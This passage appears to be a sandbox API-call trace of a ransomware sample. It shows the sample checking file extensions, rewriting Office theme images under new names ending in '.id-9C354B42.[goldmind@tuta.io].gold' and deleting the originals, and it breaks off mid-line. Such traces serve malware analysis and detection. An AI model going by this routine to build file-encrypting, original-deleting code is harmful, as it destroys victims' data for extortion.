lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0042.064] lstrlenW (lpString=".doc") returned 4 [0042.064] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0042.064] lstrlenW (lpString=".docx") returned 5 [0042.064] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0042.064] lstrlenW (lpString=".pdf") returned 4 [0042.064] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0042.064] lstrlenW (lpString=".xls") returned 4 [0042.064] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0042.064] lstrlenW (lpString=".xlsx") returned 5 [0042.064] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0042.064] lstrlenW (lpString=".ppt") returned 4 [0042.064] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0042.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0042.064] lstrlenW (lpString=".zip") returned 4 [0042.064] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0042.064] lstrlenW (lpString=".rar") returned 4 [0042.064] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0042.064] lstrlenW (lpString=".bz2") returned 4 [0042.064] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0042.064] lstrlenW (lpString=".7z") returned 3 [0042.064] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0042.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0042.065] lstrlenW (lpString=".dbf") returned 4 [0042.065] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0042.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0042.065] lstrlenW (lpString=".1cd") returned 4 [0042.065] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0042.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0042.065] lstrlenW (lpString=".jpg") returned 4 [0042.065] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0042.065] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0042.065] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0042.065] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0042.065] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=2574) returned 1 [0042.065] CloseHandle (hObject=0x178) returned 1 [0042.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif")) returned 0x20 [0042.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0042.065] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0042.065] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.065] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.066] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0042.067] GetLastError () returned 0x0 [0042.067] ReadFile (in: hFile=0x178, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0xa0e, lpOverlapped=0x0) returned 1 [0042.076] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xa10, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xa10, lpOverlapped=0x0) returned 1 [0042.077] ReadFile (in: hFile=0x178, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.077] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xea, lpOverlapped=0x0) returned 1 [0042.077] SetEndOfFile (hFile=0x1e8) returned 1 [0042.077] CloseHandle (hObject=0x1e8) returned 1 [0042.077] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.077] SetEndOfFile (hFile=0x178) returned 1 [0042.078] CloseHandle (hObject=0x178) returned 1 [0042.078] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0042.078] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif")) returned 1 [0042.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0042.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0042.078] lstrlenW (lpString=".doc") returned 4 [0042.078] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0042.079] lstrlenW (lpString=".docx") returned 5 [0042.079] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0042.079] lstrlenW (lpString=".pdf") returned 4 [0042.079] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0042.079] lstrlenW (lpString=".xls") returned 4 [0042.079] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0042.079] lstrlenW (lpString=".xlsx") returned 5 [0042.079] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0042.079] lstrlenW (lpString=".ppt") returned 4 [0042.079] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0042.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0042.079] lstrlenW (lpString=".zip") returned 4 [0042.079] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0042.079] lstrlenW (lpString=".rar") returned 4 [0042.079] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0042.079] lstrlenW (lpString=".bz2") returned 4 [0042.079] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0042.079] lstrlenW (lpString=".7z") returned 3 [0042.079] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0042.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0042.079] lstrlenW (lpString=".dbf") returned 4 [0042.079] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0042.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0042.079] lstrlenW (lpString=".1cd") returned 4 [0042.079] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0042.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0042.079] lstrlenW (lpString=".jpg") returned 4 [0042.079] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0042.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0042.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0042.079] lstrlenW (lpString=".doc") returned 4 [0042.079] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0042.079] lstrlenW (lpString=".docx") returned 5 [0042.079] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0042.079] lstrlenW (lpString=".pdf") returned 4 [0042.079] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0042.079] lstrlenW (lpString=".xls") returned 4 [0042.079] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0042.079] lstrlenW (lpString=".xlsx") returned 5 [0042.079] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0042.079] lstrlenW (lpString=".ppt") returned 4 [0042.079] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0042.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0042.079] lstrlenW (lpString=".zip") returned 4 [0042.079] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0042.079] lstrlenW (lpString=".rar") returned 4 [0042.079] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0042.079] lstrlenW (lpString=".bz2") returned 4 [0042.079] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0042.079] lstrlenW (lpString=".7z") returned 3 [0042.079] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0042.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0042.079] lstrlenW (lpString=".dbf") returned 4 [0042.080] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0042.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0042.080] lstrlenW (lpString=".1cd") returned 4 [0042.080] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0042.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0042.080] lstrlenW (lpString=".jpg") returned 4 [0042.080] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0042.080] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0042.080] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0042.080] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0042.081] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=1593) returned 1 [0042.081] CloseHandle (hObject=0x178) returned 1 [0042.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif")) returned 0x20 [0042.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0042.081] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0042.081] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.081] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.081] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0042.255] GetLastError () returned 0x0 [0042.255] ReadFile (in: hFile=0x178, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x639, lpOverlapped=0x0) returned 1 [0042.261] WriteFile (in: hFile=0x200, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x640, lpOverlapped=0x0) returned 1 [0042.263] ReadFile (in: hFile=0x178, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.263] WriteFile (in: hFile=0x200, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xea, lpOverlapped=0x0) returned 1 [0042.263] SetEndOfFile (hFile=0x200) returned 1 [0042.263] CloseHandle (hObject=0x200) returned 1 [0042.263] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.263] SetEndOfFile (hFile=0x178) returned 1 [0042.264] CloseHandle (hObject=0x178) returned 1 [0042.264] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0042.264] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif")) returned 1 [0042.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0042.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0042.264] lstrlenW (lpString=".doc") returned 4 [0042.264] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0042.264] lstrlenW (lpString=".docx") returned 5 [0042.264] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0042.264] lstrlenW (lpString=".pdf") returned 4 [0042.264] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0042.264] lstrlenW (lpString=".xls") returned 4 [0042.264] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0042.264] lstrlenW (lpString=".xlsx") returned 5 [0042.264] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0042.264] lstrlenW (lpString=".ppt") returned 4 [0042.264] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0042.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0042.264] lstrlenW (lpString=".zip") returned 4 [0042.264] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0042.264] lstrlenW (lpString=".rar") returned 4 [0042.264] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0042.265] lstrlenW (lpString=".bz2") returned 4 [0042.265] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0042.265] lstrlenW (lpString=".7z") returned 3 [0042.265] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0042.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0042.265] lstrlenW (lpString=".dbf") returned 4 [0042.265] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0042.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0042.265] lstrlenW (lpString=".1cd") returned 4 [0042.265] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0042.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0042.265] lstrlenW (lpString=".jpg") returned 4 [0042.265] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0042.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0042.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0042.265] lstrlenW (lpString=".doc") returned 4 [0042.265] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0042.265] lstrlenW (lpString=".docx") returned 5 [0042.265] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0042.265] lstrlenW (lpString=".pdf") returned 4 [0042.265] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0042.265] lstrlenW (lpString=".xls") returned 4 [0042.265] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0042.265] lstrlenW (lpString=".xlsx") returned 5 [0042.265] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0042.265] lstrlenW (lpString=".ppt") returned 4 [0042.265] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0042.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0042.265] lstrlenW (lpString=".zip") returned 4 [0042.265] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0042.265] lstrlenW (lpString=".rar") returned 4 [0042.265] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0042.265] lstrlenW (lpString=".bz2") returned 4 [0042.265] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0042.265] lstrlenW (lpString=".7z") returned 3 [0042.265] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0042.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0042.265] lstrlenW (lpString=".dbf") returned 4 [0042.265] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0042.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0042.265] lstrlenW (lpString=".1cd") returned 4 [0042.265] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0042.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0042.265] lstrlenW (lpString=".jpg") returned 4 [0042.265] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0042.265] lstrcmpiW (lpString1=".PNG", lpString2=".gold") returned 1 [0042.265] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0042.266] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0042.643] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=19563) returned 1 [0042.643] CloseHandle (hObject=0x1fc) returned 1 [0042.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png")) returned 0x20 [0042.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0042.643] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0042.643] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.643] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.643] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0042.644] GetLastError () returned 0x0 [0042.644] ReadFile (in: hFile=0x1fc, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x4c6b, lpOverlapped=0x0) returned 1 [0042.645] WriteFile (in: hFile=0x1f4, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x4c70, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x4c70, lpOverlapped=0x0) returned 1 [0042.646] ReadFile (in: hFile=0x1fc, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.646] WriteFile (in: hFile=0x1f4, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0042.646] SetEndOfFile (hFile=0x1f4) returned 1 [0042.646] CloseHandle (hObject=0x1f4) returned 1 [0042.646] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.647] SetEndOfFile (hFile=0x1fc) returned 1 [0042.647] CloseHandle (hObject=0x1fc) returned 1 [0042.647] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0042.647] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png")) returned 1 [0042.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0042.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0042.648] lstrlenW (lpString=".doc") returned 4 [0042.648] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0042.648] lstrlenW (lpString=".docx") returned 5 [0042.648] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0042.648] lstrlenW (lpString=".pdf") returned 4 [0042.648] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0042.648] lstrlenW (lpString=".xls") returned 4 [0042.648] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0042.648] lstrlenW (lpString=".xlsx") returned 5 [0042.648] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0042.648] lstrlenW (lpString=".ppt") returned 4 [0042.648] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0042.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0042.648] lstrlenW (lpString=".zip") returned 4 [0042.648] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0042.648] lstrlenW (lpString=".rar") returned 4 [0042.648] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0042.648] lstrlenW (lpString=".bz2") returned 4 [0042.648] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0042.648] lstrlenW (lpString=".7z") returned 3 [0042.648] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0042.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0042.648] lstrlenW (lpString=".dbf") returned 4 [0042.648] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0042.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0042.648] lstrlenW (lpString=".1cd") returned 4 [0042.648] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0042.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0042.648] lstrlenW (lpString=".jpg") returned 4 [0042.648] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0042.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0042.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 